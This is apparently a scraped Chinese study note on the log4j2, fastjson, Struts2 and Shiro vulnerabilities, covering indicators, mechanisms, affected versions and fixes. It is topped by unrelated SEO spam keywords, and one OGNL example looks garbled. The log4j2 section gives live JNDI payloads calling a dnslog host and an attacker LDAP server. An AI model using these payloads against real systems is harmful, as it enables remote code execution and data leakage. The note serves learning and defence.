重庆奉节网站建设,定制vx怎么弄,福州专业网站制作设计,枞阳县建设局网站1、log4j2 特征#xff1a;
恶意请求中包含 JNDI 协议地址#xff0c;如ldap://、rmi://等#xff0c;被 log4j2 解析为 JNDI 查找。
原理#xff1a;
在日志输出中#xff0c;未对字符进行严格的过滤#xff0c;执行了 JNDI 协议加载的远程恶…1、log4j2 特征
恶意请求中包含 JNDI 协议地址如ldap://、rmi://等被 log4j2 解析为 JNDI 查找。
原理
在日志输出中未对字符进行严格的过滤执行了 JNDI 协议加载的远程恶意脚本从而造成远程代码执行。
影响
严重的 RCE2.0 ≤ Apache Log4j2 2.15.0-rc2
攻击字段
${jndi:ldap://${sys:java.version}.7fprj5.dnslog.cn}手动测试
${jndi:ldap://192.168.249.128:1389/h8sgrk}工具生成
一般 payload 我们需要进行 URL 编码传入的命令也需要进行 base64 编码后再解码
修复
将 Log4j 升级到已修复漏洞的版本
如果不需要使用 JndiLookup 插件可以将其移除或禁用
配置 log4j2.xml 来限制日志文件的输出路径。 2、fastjson 判断
构造恶意的 POST 请求观察服务器返回的错误响应中是否包含了 Fastjson 相关的字样
特征
开启了自省功能 JSON 数据中包含 type 字段
原理
fastjson 在解析 JSON 数据时存在自动类型转换功能autoTypeFastJson 就会自动解析type 参数字段利用该功能构造恶意 JSON 数据使其在反序列化过程中触发漏洞利用链从而实现恶意代码的执行。 注type、自省功能以及 autoType 指的是同一个概念即 Fastjson 在反序列化 JSON 数据时根据 JSON 数据中的类名来自动实例化对应的 Java 对象的功能。 影响
fastjson1.2.24反序列化导致任意命令执行
fastjson 1.2.47构造特殊的 json 字符串绕过白名单执行任意命令
如何判断攻击成功
POST 请求中包含了恶意构造的 JSON 数据
服务器会返回异常的响应如状态码为 500
服务器会返回 Fastjson 相关的字样或错误信息
与异常的目标 IP 地址或端口建立反向 shell 连接
异常的恶意文件或数据传输行为。
修复
将 Fastjson 升级到最新版本
关闭 AutoType 功能
在反序列化之前对 JSON 数据进行严格的验证和过滤。 3、Struts2 此漏洞源于 Struts 2 框架中的一个标签处理功能altSyntax。在开启时支持对标签中的 OGNL 表达式进行解析并执行。Struts 2 的 “altSyntax” 功能允许将 OGNL 表达式插入到文本字符串中并递归处理这允许恶意用户提交一个字符串通常通过 HTML 文本字段其中包含一个 OGNL 表达式如 %{11}如果表单验证失败服务器将执行该表达式。Struts2 代码执行漏洞均是 OGNL 表达式注入导致。 4、Shiro 介绍
Apache Shiro是一个开源安全框架提供身份验证、授权、密码学和会话管理。
原理
Shiro 在用户登陆时提供可选项 RememberMe若勾选则下次登陆会携带 cookie 中的 remember me 字段发起请求就不需要重新输入用户名和密码用户登录成功后会生成经过 AES 加密和 base64 编码的 cookie。攻击者可以使用 Shiro 的默认密钥构造恶意序列化对象进行编码来伪造用户的 cookie服务端反序列化时触发漏洞从而实现命令执行。
特征
勾选记住密码选项后点击登录抓包观察请求包中是否有 rememberme 字段响应包中是否有 Set-cookie:rememberMedeleteMe 字段。
利用
只要 RememberMe 的 AES 加密密钥泄漏无论 Shiro 什么版本都会导致反序列化漏洞AES 是对称加密加解密是相同的密钥密钥是写在开源框架的代码中的我们便可使用公开密钥进行爆破尝试。
修复
升级Shiro到最新版本
修改shiro的密钥不要使用公开密钥
WAF 拦截 Cookie 中长度过大的 RememberMe 值。